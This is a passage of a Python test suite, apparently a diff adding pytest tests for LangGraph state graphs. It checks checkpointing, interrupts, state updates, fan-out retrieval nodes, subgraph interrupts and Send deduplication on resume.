tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config=next_config, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 2, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + { + "tools": [ + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ) + ] + }, + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ) + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + id=AnyStr(), + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 4, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + app_w_interrupt.update_state( + config, + AIMessage(content="answer", id="ai2"), # replace existing message + ) + + # replaces message even if object identity is different, as long as id is the same + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + id=AnyStr(), + ), + AIMessage(content="answer", id="ai2"), + ], + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 5, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_before=["tools"], + ) + config = {"configurable": {"thread_id": "2"}} + model.i = 0 # reset the llm + + assert [ + c + for c in app_w_interrupt.stream( + "what is weather in sf", config, durability="exit" + ) + ] == [ + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ) + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + # modify ai message + last_message = app_w_interrupt.get_state(config).values[-1] + last_message.tool_calls[0]["args"] = {"query": "a different query"} + app_w_interrupt.update_state(config, last_message) + + # message was replaced instead of appended + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 2, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + { + "tools": [ + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ) + ] + }, + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ) + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + id=AnyStr(), + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 4, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + app_w_interrupt.update_state( + config, + AIMessage(content="answer", id="ai2"), + ) + + # replaces message even if object identity is different, as long as id is the same + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage(content="answer", id="ai2"), + ], + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 5, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + # add an extra message as if it came from "tools" node + app_w_interrupt.update_state(config, ("ai", "an extra message"), as_node="tools") + + # extra message is coerced BaseMessage and appended + # now the next node is "agent" per the graph edges + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + id=AnyStr(), + ), + AIMessage(content="answer", id="ai2"), + _AnyIdAIMessage(content="an extra message"), + ], + tasks=(PregelTask(AnyStr(), "agent", (PULL, "agent")),), + next=("agent",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 6, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + # create new graph with one more state key, reuse previous thread history + + def simple_add(left, right): + if not isinstance(right, list): + right = [right] + return left + right + + class MoreState(TypedDict): + __root__: Annotated[list[BaseMessage], simple_add] + something_else: str + + # Define a new graph + new_workflow = StateGraph(MoreState) + new_workflow.add_node( + "agent", RunnableMap(__root__=RunnablePick("__root__") | model) + ) + new_workflow.add_node( + "tools", RunnableMap(__root__=RunnablePick("__root__") | ToolNode(tools)) + ) + new_workflow.set_entry_point("agent") + new_workflow.add_conditional_edges( + "agent", + RunnablePick("__root__") | should_continue, + { + # If `tools`, then we call the tool node. + "continue": "tools", + # Otherwise we finish. + "end": END, + }, + ) + new_workflow.add_edge("tools", "agent") + new_app = new_workflow.compile(checkpointer=sync_checkpointer) + model.i = 0 # reset the llm + + # previous state is converted to new schema + assert new_app.get_state(config) == StateSnapshot( + values={ + "__root__": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage(content="answer", id="ai2"), + _AnyIdAIMessage(content="an extra message"), + ] + }, + tasks=(PregelTask(AnyStr(), "agent", (PULL, "agent")),), + next=("agent",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 6, + }, + parent_config=(list(new_app.checkpointer.list(config, limit=2))[-1].config), + interrupts=(), + ) + + # new input is merged to old state + assert new_app.invoke( + { + "__root__": [HumanMessage(content="what is weather in la")], + "something_else": "value", + }, + config, + interrupt_before=["agent"], + ) == { + "__root__": [ + HumanMessage( + content="what is weather in sf", + id="00000000-0000-4000-8000-000000000008", + ), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "name": "search_api", + "args": {"query": "a different query"}, + "id": "tool_call123", + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage(content="answer", id="ai2"), + AIMessage( + content="an extra message", id="00000000-0000-4000-8000-000000000010" + ), + HumanMessage(content="what is weather in la"), + ], + "something_else": "value", + } + + +def test_in_one_fan_out_out_one_graph_state() -> None: + def sorted_add(x: list[str], y: list[str]) -> list[str]: + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], sorted_add] + + def rewrite_query(data: State) -> State: + return {"query": f"query: {data['query']}"} + + def retriever_one(data: State) -> State: + # timer ensures stream output order is stable + # also, it confirms that the update order is not dependent on finishing order + # instead being defined by the order of the nodes/edges in the graph definition + # ie. stable between invocations + time.sleep(0.1) + return {"docs": ["doc1", "doc2"]} + + def retriever_two(data: State) -> State: + return {"docs": ["doc3", "doc4"]} + + def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + workflow = StateGraph(State) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "retriever_one") + workflow.add_edge("rewrite_query", "retriever_two") + workflow.add_edge("retriever_one", "qa") + workflow.add_edge("retriever_two", "qa") + workflow.set_finish_point("qa") + + app = workflow.compile() + + assert app.invoke({"query": "what is weather in sf"}) == { + "query": "query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + } + + assert [*app.stream({"query": "what is weather in sf"})] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + assert [*app.stream({"query": "what is weather in sf"}, stream_mode="values")] == [ + {"query": "what is weather in sf", "docs": []}, + {"query": "query: what is weather in sf", "docs": []}, + { + "query": "query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + }, + { + "query": "query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + }, + ] + + assert [ + *app.stream( + {"query": "what is weather in sf"}, + stream_mode=["values", "updates", "debug"], + ) + ] == [ + ("values", {"query": "what is weather in sf", "docs": []}), + ( + "debug", + { + "type": "task", + "timestamp": AnyStr(), + "step": 1, + "payload": { + "id": AnyStr(), + "name": "rewrite_query", + "input": {"query": "what is weather in sf", "docs": []}, + "triggers": ("branch:to:rewrite_query",), + }, + }, + ), + ("updates", {"rewrite_query": {"query": "query: what is weather in sf"}}), + ( + "debug", + { + "type": "task_result", + "timestamp": AnyStr(), + "step": 1, + "payload": { + "id": AnyStr(), + "name": "rewrite_query", + "result": { + "query": "query: what is weather in sf", + }, + "error": None, + "interrupts": [], + }, + }, + ), + ("values", {"query": "query: what is weather in sf", "docs": []}), + ( + "debug", + { + "type": "task", + "timestamp": AnyStr(), + "step": 2, + "payload": { + "id": AnyStr(), + "name": "retriever_one", + "input": {"query": "query: what is weather in sf", "docs": []}, + "triggers": ("branch:to:retriever_one",), + }, + }, + ), + ( + "debug", + { + "type": "task", + "timestamp": AnyStr(), + "step": 2, + "payload": { + "id": AnyStr(), + "name": "retriever_two", + "input": {"query": "query: what is weather in sf", "docs": []}, + "triggers": ("branch:to:retriever_two",), + }, + }, + ), + ( + "updates", + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + ), + ( + "debug", + { + "type": "task_result", + "timestamp": AnyStr(), + "step": 2, + "payload": { + "id": AnyStr(), + "name": "retriever_two", + "result": { + "docs": ["doc3", "doc4"], + }, + "error": None, + "interrupts": [], + }, + }, + ), + ( + "updates", + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + ), + ( + "debug", + { + "type": "task_result", + "timestamp": AnyStr(), + "step": 2, + "payload": { + "id": AnyStr(), + "name": "retriever_one", + "result": { + "docs": ["doc1", "doc2"], + }, + "error": None, + "interrupts": [], + }, + }, + ), + ( + "values", + { + "query": "query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + }, + ), + ( + "debug", + { + "type": "task", + "timestamp": AnyStr(), + "step": 3, + "payload": { + "id": AnyStr(), + "name": "qa", + "input": { + "query": "query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + }, + "triggers": ("branch:to:qa",), + }, + }, + ), + ("updates", {"qa": {"answer": "doc1,doc2,doc3,doc4"}}), + ( + "debug", + { + "type": "task_result", + "timestamp": AnyStr(), + "step": 3, + "payload": { + "id": AnyStr(), + "name": "qa", + "result": { + "answer": "doc1,doc2,doc3,doc4", + }, + "error": None, + "interrupts": [], + }, + }, + ), + ( + "values", + { + "query": "query: what is weather in sf", + "answer": "doc1,doc2,doc3,doc4", + "docs": ["doc1", "doc2", "doc3", "doc4"], + }, + ), + ] + + +def test_dynamic_interrupt(sync_checkpointer: BaseCheckpointSaver) -> None: + class State(TypedDict): + my_key: Annotated[str, operator.add] + market: str + + tool_two_node_count = 0 + + def tool_two_node(s: State) -> State: + nonlocal tool_two_node_count + tool_two_node_count += 1 + if s["market"] == "DE": + answer = interrupt("Just because...") + else: + answer = " all good" + return {"my_key": answer} + + tool_two_graph = StateGraph(State) + tool_two_graph.add_node("tool_two", tool_two_node, retry_policy=RetryPolicy()) + tool_two_graph.add_edge(START, "tool_two") + tool_two = tool_two_graph.compile() + + tracer = FakeTracer() + assert tool_two.invoke( + {"my_key": "value", "market": "DE"}, {"callbacks": [tracer]} + ) == { + "my_key": "value", + "market": "DE", + "__interrupt__": [Interrupt(value="Just because...", id=AnyStr())], + } + assert tool_two_node_count == 1, "interrupts aren't retried" + assert len(tracer.runs) == 1 + run = tracer.runs[0] + assert run.end_time is not None + assert run.error is None + assert run.outputs == {"market": "DE", "my_key": "value"} + + assert tool_two.invoke({"my_key": "value", "market": "US"}) == { + "my_key": "value all good", + "market": "US", + } + + tool_two = tool_two_graph.compile(checkpointer=sync_checkpointer) + + # missing thread_id + with pytest.raises(ValueError, match="thread_id"): + tool_two.invoke({"my_key": "value", "market": "DE"}) + + # flow: interrupt -> resume with answer + thread2 = {"configurable": {"thread_id": "2"}} + # stop when about to enter node + assert [ + c for c in tool_two.stream({"my_key": "value ⛰️", "market": "DE"}, thread2) + ] == [ + { + "__interrupt__": ( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ) + }, + ] + # resume with answer + assert [c for c in tool_two.stream(Command(resume=" my answer"), thread2)] == [ + {"tool_two": {"my_key": " my answer"}}, + ] + + # flow: interrupt -> clear tasks + thread1 = {"configurable": {"thread_id": "1"}} + # stop when about to enter node + assert tool_two.invoke( + {"my_key": "value ⛰️", "market": "DE"}, thread1, durability="exit" + ) == { + "my_key": "value ⛰️", + "market": "DE", + "__interrupt__": [Interrupt(value="Just because...", id=AnyStr())], + } + + assert [c.metadata for c in tool_two.checkpointer.list(thread1)] == [ + { + "parents": {}, + "source": "loop", + "step": 0, + }, + ] + + assert tool_two.get_state(thread1) == StateSnapshot( + values={"my_key": "value ⛰️", "market": "DE"}, + next=("tool_two",), + tasks=( + PregelTask( + AnyStr(), + "tool_two", + (PULL, "tool_two"), + interrupts=( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ), + ), + ), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 0, + }, + parent_config=None, + interrupts=( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ), + ) + # clear the interrupt and next tasks + tool_two.update_state(thread1, None, as_node=END) + # interrupt and next tasks are cleared + assert tool_two.get_state(thread1) == StateSnapshot( + values={"my_key": "value ⛰️", "market": "DE"}, + next=(), + tasks=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 1, + }, + parent_config=(list(tool_two.checkpointer.list(thread1, limit=2))[-1].config), + interrupts=(), + ) + + +def test_partial_pending_checkpoint(sync_checkpointer: BaseCheckpointSaver) -> None: + class State(TypedDict): + my_key: Annotated[str, operator.add] + market: str + + def tool_one(s: State) -> State: + return {"my_key": " one"} + + tool_two_node_count = 0 + + def tool_two_node(s: State) -> State: + nonlocal tool_two_node_count + tool_two_node_count += 1 + if s["market"] == "DE": + time.sleep(0.1) + answer = interrupt("Just because...") + else: + answer = " all good" + return {"my_key": answer} + + def start(state: State) -> list[Send | str]: + return ["tool_two", Send("tool_one", state)] + + tool_two_graph = StateGraph(State) + tool_two_graph.add_node("tool_two", tool_two_node, retry_policy=RetryPolicy()) + tool_two_graph.add_node("tool_one", tool_one) + tool_two_graph.set_conditional_entry_point(start) + tool_two = tool_two_graph.compile() + + tracer = FakeTracer() + assert tool_two.invoke( + {"my_key": "value", "market": "DE"}, {"callbacks": [tracer]} + ) == { + "my_key": "value one", + "market": "DE", + "__interrupt__": [Interrupt(value="Just because...", id=AnyStr())], + } + assert tool_two_node_count == 1, "interrupts aren't retried" + assert len(tracer.runs) == 1 + run = tracer.runs[0] + assert run.end_time is not None + assert run.error is None + assert run.outputs == {"market": "DE", "my_key": "value one"} + + assert tool_two.invoke({"my_key": "value", "market": "US"}) == { + "my_key": "value all good one", + "market": "US", + } + + tool_two = tool_two_graph.compile(checkpointer=sync_checkpointer) + + # missing thread_id + with pytest.raises(ValueError, match="thread_id"): + tool_two.invoke({"my_key": "value", "market": "DE"}) + + # flow: interrupt -> resume with answer + thread2 = {"configurable": {"thread_id": "2"}} + # stop when about to enter node + assert [ + c for c in tool_two.stream({"my_key": "value ⛰️", "market": "DE"}, thread2) + ] == [ + { + "tool_one": {"my_key": " one"}, + }, + { + "__interrupt__": ( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ) + }, + ] + # resume with answer + assert [c for c in tool_two.stream(Command(resume=" my answer"), thread2)] == [ + {"tool_one": {"my_key": " one"}, "__metadata__": {"cached": True}}, + {"tool_two": {"my_key": " my answer"}}, + ] + + # flow: interrupt -> clear tasks + thread1 = {"configurable": {"thread_id": "1"}} + # stop when about to enter node + assert tool_two.invoke( + {"my_key": "value ⛰️", "market": "DE"}, thread1, durability="exit" + ) == { + "my_key": "value ⛰️ one", + "market": "DE", + "__interrupt__": [Interrupt(value="Just because...", id=AnyStr())], + } + assert [c.metadata for c in tool_two.checkpointer.list(thread1)] == [ + { + "parents": {}, + "source": "loop", + "step": 0, + }, + ] + + assert tool_two.get_state(thread1) == StateSnapshot( + values={"my_key": "value ⛰️ one", "market": "DE"}, + next=("tool_two",), + tasks=( + PregelTask( + id=AnyStr(), + name="tool_one", + path=("__pregel_push", 0, False), + result={"my_key": " one"}, + ), + PregelTask( + AnyStr(), + "tool_two", + (PULL, "tool_two"), + interrupts=( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ), + ), + ), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 0, + }, + parent_config=None, + interrupts=( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ), + ) + + # clear the interrupt and next tasks + tool_two.update_state(thread1, None, as_node=END) + + # interrupt and unresolved tasks are cleared, finished tasks are kept + assert tool_two.get_state(thread1) == StateSnapshot( + values={"my_key": "value ⛰️ one", "market": "DE"}, + next=(), + tasks=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 1, + }, + parent_config=([*tool_two.checkpointer.list(thread1, limit=2)][-1].config), + interrupts=(), + ) + + +def test_dynamic_interrupt_subgraph(sync_checkpointer: BaseCheckpointSaver) -> None: + class SubgraphState(TypedDict): + my_key: str + market: str + + tool_two_node_count = 0 + + def tool_two_node(s: SubgraphState) -> SubgraphState: + nonlocal tool_two_node_count + tool_two_node_count += 1 + if s["market"] == "DE": + answer = interrupt("Just because...") + else: + answer = " all good" + return {"my_key": answer} + + subgraph = StateGraph(SubgraphState) + subgraph.add_node("do", tool_two_node, retry_policy=RetryPolicy()) + subgraph.add_edge(START, "do") + + class State(TypedDict): + my_key: Annotated[str, operator.add] + market: str + + tool_two_graph = StateGraph(State) + tool_two_graph.add_node("tool_two", subgraph.compile()) + tool_two_graph.add_edge(START, "tool_two") + tool_two = tool_two_graph.compile() + + tracer = FakeTracer() + assert tool_two.invoke( + {"my_key": "value", "market": "DE"}, {"callbacks": [tracer]} + ) == { + "my_key": "value", + "market": "DE", + "__interrupt__": [ + Interrupt( + value="Just because...", + id=AnyStr(), + ) + ], + } + assert tool_two_node_count == 1, "interrupts aren't retried" + assert len(tracer.runs) == 1 + run = tracer.runs[0] + assert run.end_time is not None + assert run.error is None + assert run.outputs == {"market": "DE", "my_key": "value"} + + assert tool_two.invoke({"my_key": "value", "market": "US"}) == { + "my_key": "value all good", + "market": "US", + } + + tool_two = tool_two_graph.compile(checkpointer=sync_checkpointer) + + # missing thread_id + with pytest.raises(ValueError, match="thread_id"): + tool_two.invoke({"my_key": "value", "market": "DE"}) + + # flow: interrupt -> resume with answer + thread2 = {"configurable": {"thread_id": "2"}} + # stop when about to enter node + assert [ + c for c in tool_two.stream({"my_key": "value ⛰️", "market": "DE"}, thread2) + ] == [ + { + "__interrupt__": ( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ) + }, + ] + # resume with answer + assert [c for c in tool_two.stream(Command(resume=" my answer"), thread2)] == [ + {"tool_two": {"my_key": " my answer", "market": "DE"}}, + ] + + # flow: interrupt -> clear tasks + thread1 = {"configurable": {"thread_id": "1"}} + # stop when about to enter node + assert tool_two.invoke( + {"my_key": "value ⛰️", "market": "DE"}, thread1, durability="exit" + ) == { + "my_key": "value ⛰️", + "market": "DE", + "__interrupt__": [ + Interrupt( + value="Just because...", + id=AnyStr(), + ) + ], + } + + assert [ + c.metadata + for c in tool_two.checkpointer.list( + {"configurable": {"thread_id": "1", "checkpoint_ns": ""}} + ) + ] == [ + { + "parents": {}, + "source": "loop", + "step": 0, + }, + ] + + assert tool_two.get_state(thread1) == StateSnapshot( + values={"my_key": "value ⛰️", "market": "DE"}, + next=("tool_two",), + tasks=( + PregelTask( + AnyStr(), + "tool_two", + (PULL, "tool_two"), + interrupts=( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ), + state={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("tool_two:"), + } + }, + ), + ), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr(), + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 0, + }, + parent_config=None, + interrupts=( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ), + ) + # clear the interrupt and next tasks + tool_two.update_state(thread1, None, as_node=END) + # interrupt and next tasks are cleared + assert tool_two.get_state(thread1) == StateSnapshot( + values={"my_key": "value ⛰️", "market": "DE"}, + next=(), + tasks=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr(), + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 1, + }, + parent_config=( + list( + tool_two.checkpointer.list( + {"configurable": {"thread_id": "1", "checkpoint_ns": ""}}, limit=2 + ) + )[-1].config + ), + interrupts=(), + ) + + +def test_send_dedupe_on_resume( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class InterruptOnce: + ticks: int = 0 + + def __call__(self, state): + self.ticks += 1 + if self.ticks == 1: + interrupt("Bahh") + return ["|".join(("flaky", str(state)))] + + class Node: + def __init__(self, name: str): + self.name = name + self.ticks = 0 + setattr(self, "__name__", name) + + def __call__(self, state): + time.sleep(0) + # sleep makes it more likely to trigger edge case where 1st task + # finishes before 2nd is registered in futures dict + self.ticks += 1 + update = ( + [self.name] + if isinstance(state, list) + else ["|".join((self.name, str(state)))] + ) + if isinstance(state, Command): + return replace(state, update=update) + else: + return update + + def send_for_fun(state): + return [ + Send("2", Command(goto=Send("2", 3))), + Send("2", Command(goto=Send("flaky", 4))), + "3.1", + ] + + def route_to_three(state) -> Literal["3"]: + return "3" + + builder = StateGraph(Annotated[list, operator.add]) + builder.add_node(Node("1")) + builder.add_node(Node("2")) + builder.add_node(Node("3")) + builder.add_node(Node("3.1")) + builder.add_node("flaky", InterruptOnce()) + builder.add_edge(START, "1") + builder.add_conditional_edges("1", send_for_fun) + builder.add_conditional_edges("2", route_to_three) + + graph = builder.compile(checkpointer=sync_checkpointer) + thread1 = {"configurable": {"thread_id": "1"}} + assert graph.invoke(["0"], thread1, durability=durability) == { + "__interrupt__": [ + Interrupt( + value="Bahh", + id=AnyStr(), + ), + ], + } + assert builder.nodes["2"].runnable.func.ticks == 3 + assert builder.nodes["flaky"].runnable.func.ticks == 1 + # check state + state = graph.get_state(thread1) + assert state.next == ("flaky",) + # check history + history = [c for c in graph.get_state_history(thread1)] + assert len(history) == (4 if durability != "exit" else 1) + + # resume execution + assert graph.invoke(None, thread1, durability=durability) == [ + "0", + "1", + "3.1", + "2|Command(goto=Send(node='2', arg=3))", + "2|Command(goto=Send(node='flaky', arg=4))", + "3", + "2|3", + "flaky|4", + "3", + ] + # node "2" doesn't get called again, as we recover writes saved before + assert builder.nodes["2"].runnable.func.ticks == 3 + # node "flaky" gets called again, as it was interrupted + assert builder.nodes["flaky"].runnable.func.ticks == 2 + # check state + state = graph.get_state(thread1) + assert state.next == () + # check history + history = [c for c in graph.get_state_history(thread1)] + assert len(history) == (6 if durability != "exit" else 2) + expected_history = [ + StateSnapshot( + values=[ + "0", + "1", + "3.1", + "2|Command(goto=Send(node='2', arg=3))", + "2|Command(goto=Send(node='flaky', arg=4))", + "3", + "2|3", + "flaky|4", + "3", + ], + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 4, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=(), + interrupts=(), + ), + StateSnapshot( + values=[ + "0", + "1", + "3.1", + "2|Command(goto=Send(node='2', arg=3))", + "2|Command(goto=Send(node='flaky', arg=4))", + "3", + "2|3", + "flaky|4", + ], + next=("3",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 3, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=( + PregelTask( + id=AnyStr(), + name="3", + path=("__pregel_pull", "3"), + error=None, + interrupts=(), + state=None, + result=["3"], + ), + ), + interrupts=(), + ), + StateSnapshot( + values=[ + "0", + "1", + "3.1", + "2|Command(goto=Send(node='2', arg=3))", + "2|Command(goto=Send(node='flaky', arg=4))", + ], + next=("2", "flaky", "3"), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 2, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=( + PregelTask( + id=AnyStr(), + name="2", + path=("__pregel_push", 0, False), + error=None, + interrupts=(), + state=None, + result=["2|3"], + ), + PregelTask( + id=AnyStr(), + name="flaky", + path=("__pregel_push", 1, False), + error=None, + interrupts=(Interrupt(value="Bahh", id=AnyStr()),), + state=None, + result=["flaky|4"] if durability != "exit" else None, + ), + PregelTask( + id=AnyStr(), + name="3", + path=("__pregel_pull", "3"), + error=None, + interrupts=(), + state=None, + result=["3"], + ), + ), + interrupts=(Interrupt(value="Bahh", id=AnyStr()),), + ), + StateSnapshot( + values=["0", "1"], + next=("2", "2", "3.1"), + config={ + "configurable": { + "thread_id": 